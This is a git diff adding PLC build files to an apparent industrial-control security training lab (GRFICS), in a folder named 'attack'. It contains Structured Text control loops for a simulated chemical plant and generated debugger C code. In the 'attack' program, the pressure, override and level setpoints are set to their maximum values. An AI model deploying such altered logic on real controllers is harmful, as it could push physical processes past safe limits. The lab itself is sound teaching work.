override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, 